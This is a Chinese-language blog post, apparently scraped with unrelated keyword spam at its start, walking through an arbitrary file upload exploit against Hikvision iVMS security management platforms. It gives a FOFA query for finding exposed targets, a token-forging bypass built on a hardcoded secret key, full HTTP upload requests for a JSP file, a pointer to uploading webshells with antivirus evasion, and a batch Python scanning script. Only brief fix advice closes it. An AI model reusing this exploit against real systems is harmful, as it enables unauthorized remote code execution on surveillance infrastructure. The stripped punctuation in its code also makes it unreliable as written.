网站服务器自己做,网站建设的科目,可视化开源cms,摄影网站开题报告文章目录 海康威视#xff08;iVMS#xff09;综合安防系统任意文件上传漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 海康威视#xff08;iVMS#xff09;综合安防系统任意文件上传漏洞复… 文章目录 海康威视iVMS综合安防系统任意文件上传漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 海康威视iVMS综合安防系统任意文件上传漏洞复现 [附POC]
0x01 前言
免责声明请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用
0x02 漏洞描述
海康威视iVMS集中监控应用管理平台是以安全防范业务应用为导向以视频图像应用为基础手段综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统构建的多业务应用综合管理平台。
海康威视iVMS系统存在任意文件上传漏洞攻击者通过获取密钥任意构造token请求/resourceOperations/upload接口任意上传文件导致获取服务器webshell权限同时可远程进行恶意代码执行。
0x03 影响版本
海康威视综合安防系统iVMS-5000海康威视综合安防系统 iVMS-87000x04 漏洞环境
FOFA语法icon_hash“-911494769”
0x05 漏洞复现
1.访问漏洞环境 2.构造POC
漏洞URL/eps/api/resourceOperations/upload 1.Burp Suite抓取首页包尝试访问接口发现token需要进行鉴权
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9
Referer: ip:port
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Cookie: ISMS_8700_Sessionname6E5D39C3C5B46D4D58A3C693B35D2D9E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 61servicehttp%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action2.构造token绕过认证 内部机制如果token值与请求urlsecretkey的md5值相同就可以绕过认证
secretkey是代码里写死的默认值secretKeyIbuildingtoken值需要进行MD5加密32位大写组合tokenMD5(urlsecretKeyIbuilding)发现可以成功绕过
3.构造文件上传payload POCPOST
POST /eps/api/resourceOperations/upload?token构造的token值 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Connection: close
Cookie: ISMS_8700_Sessionname6E5D39C3C5B46D4D58A3C693B35D2D9E
Content-Type: multipart/form-data;boundary----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; namefileUploader;filename1.jsp
Content-Type: image/jpeg12345678
------WebKitFormBoundaryGEJwiloiPo3.复现
1.发送构造的数据包可以看的文件成功上传且返回了resourceUuid值 2.拼接文件访问路径进行验证
路径http://url/eps/upload/resourceUuid的值.jsp 深度利用可以直接上传蚁剑冰蝎哥斯拉的JSP马子免杀处理更有性价比在此就不进行了
3.检测脚本
地址https://github.com/sccmdaveli/hikvision-poc
import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoresetTrue)
urllib3.disable_warnings()head {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,Cookie: ISMS_8700_SessionnameABCB193BD9D82CC2D6094F6ED4D81169
}
def md5encode(url):if url.endswith(/):path eps/api/resourceOperations/uploadsecretKeyIbuildingelse:path /eps/api/resourceOperations/uploadsecretKeyIbuildingencodetext url pathinput_name hashlib.md5()input_name.update(encodetext.encode(utf-8))return (input_name.hexdigest()).upper()def poc(url):if url.endswith(/):path eps/api/resourceOperations/upload?tokenelse:path /eps/api/resourceOperations/upload?tokenpocurl url path md5encode(url)data {service: urllib.parse.quote(url /home/index.action)}try:response requests.post(urlpocurl,headershead,datadata,verifyFalse,timeout3)if response.status_code200:print(Fore.GREEN f[]{url}存在海康威视iVMS 综合安防任意文件上传漏洞)else:print(Fore.RED f[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞)except:passif __name__ __main__:parser argparse.ArgumentParser(usagepython3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt,descriptionivms漏洞检测poc,)p parser.add_argument_group(ivms 的参数)p.add_argument(-u, --url, typestr, help测试单条url)p.add_argument(-f, --file, typestr, help测试多个url文件)args parser.parse_args()if args.url:poc(args.url)if args.file:for i in open(args.file,r).read().split(\n):poc(i)0x06 修复建议 1. 关闭互联网暴露面访问的权限。2. 文件上传模块做好权限强认证。